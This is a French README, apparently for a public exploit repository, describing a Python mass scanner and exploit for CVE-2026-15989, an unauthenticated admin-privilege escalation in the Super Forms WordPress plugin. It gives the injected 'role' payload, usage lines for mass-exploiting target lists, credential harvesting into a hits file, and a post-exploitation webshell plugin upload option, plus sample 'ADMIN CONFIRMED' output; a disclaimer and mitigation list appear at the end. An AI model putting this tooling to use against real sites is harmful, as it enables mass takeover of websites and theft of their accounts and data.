CVE-2026-15989 — Super Forms ≤ 6.3.316 — PoC d'escalade de privilèges non authentifiée

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — escalade de privilèges non authentifiée via le paramètre role de l'add-on premium Register & Login.

📋 Aperçu de la vulnérabilité

Attribut	Détails
CVE ID	CVE-2026-15989
Chaîne	formulaire d'inscription → `'role'` dans `$other_userdata` → `wp_insert_user(role=administrator)` → ADMIN
Sévérité	🔴 CRITIQUE (CVSS 9.8)
Cible	Super Forms – Drag & Drop Form Builder + add-on premium Register & Login
Affecté	≤ 6.3.316 (core) — builds vulnérables de l'add-on (v1.x)
Corrigé	6.3.317
Authentification requise	Aucune

🔍 Description technique

L'add-on définit le rôle du nouvel utilisateur à partir des paramètres du formulaire ($userdata['role'] = $settings['register_user_role']), puis parcourt $other_userdata — qui contient 'role' — et écrase toute clé avec la valeur fournie par le client ($data['role']['value']) avant d'appeler wp_insert_user().

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

Correctif (6.3.317) : 'role' retiré de la liste blanche + get_safe_public_registration_role() (fail-closed).

Recherche originale — protocole à double soumission : le core a changé de protocole à la v5.0.0.

Core	Action	Format des données	Nonce
4.x	`super_send_email`	champs imbriqués (`data[role][value]=...`)	aucun (vérifications commentées)
5.x/6.x	`super_submit_form`	chaîne JSON	`sf_nonce` via `super_create_nonce`

L'outil sélectionne automatiquement le protocole en fonction de la version détectée.

🚀 Utilisation

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

Option	Description
`--list FILE`	Une cible par ligne ; `URL\|form_id` ou `URL\|form_id=ID,email=X` par ligne
`-u/--target`, `--port`	Cible unique
`--threads`, `--timeout`, `--no-dedup`	Réglages du mode massif
`--force`	Envoie la charge utile même sans formulaire d'inscription détecté
`--only-hits` / `--quiet`	Arborescences uniquement pour les cibles confirmées / sortie minimale
`--reset`	finalisation du mode verify via mot de passe perdu (l'opérateur colle le lien de réinitialisation)
`--only-login`	Ignore l'inscription ; se connecte et vérifie le rôle via `users/me`
`--login` / `--rce`	Post-exploitation sur cible réelle : preuve de connexion / upload de plugin webshell
`-k/--insecure`	Ignorer TLS

📊 Sortie

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

hits.txt — cibles confirmées uniquement (ts|url|status|detail, avec utilisateur/mot de passe)
barre avec ETA + compteurs par statut ; chaque phase affiche la raison réelle en cas d'échec (WAF, crash, formulaire de connexion uniquement, mauvais protocole...)

⚙️ Fonctionnalités

Double protocole (4.x données imbriquées / 5+ JSON+nonce) — sélectionné automatiquement selon la version
Détection de version : balise Stable de readme.txt + common.js?ver= ; sonde de l'add-on + sa propre version
Découverte du formulaire d'inscription : chemins courants + sitemap.xml/wp-sitemap.xml/sitemap_index + liens de la page d'accueil
Remplissage automatique des champs requis (y compris cachés/conditionnels)
« existe déjà » → preuve de connexion directe au compte existant
Contrôle des crashs : renvoie le formulaire sans le rôle injecté pour distinguer les problèmes côté serveur des crashs déclenchés par l'injection
Preuve admin faisant autorité via /wp-json/wp/v2/users/me?context=edit (repli : users.php / tableau de bord)

📁 Structure des fichiers

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Avertissement

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Atténuation

Mettez à jour Super Forms vers 6.3.317 (ou une version ultérieure) et révoquez tout identifiant compromis
Maintenez l'add-on Register & Login à jour (il a son propre cycle de versions)
Supprimez/désactivez les formulaires d'inscription publiés lorsqu'ils ne sont pas nécessaires
Auditez les utilisateurs de wp-admin/ à la recherche de comptes administrateur inattendus

👤 Auteur

fl0ydsec (Floydroot)

_{Security Research}

CVE-2026-15989

Populaires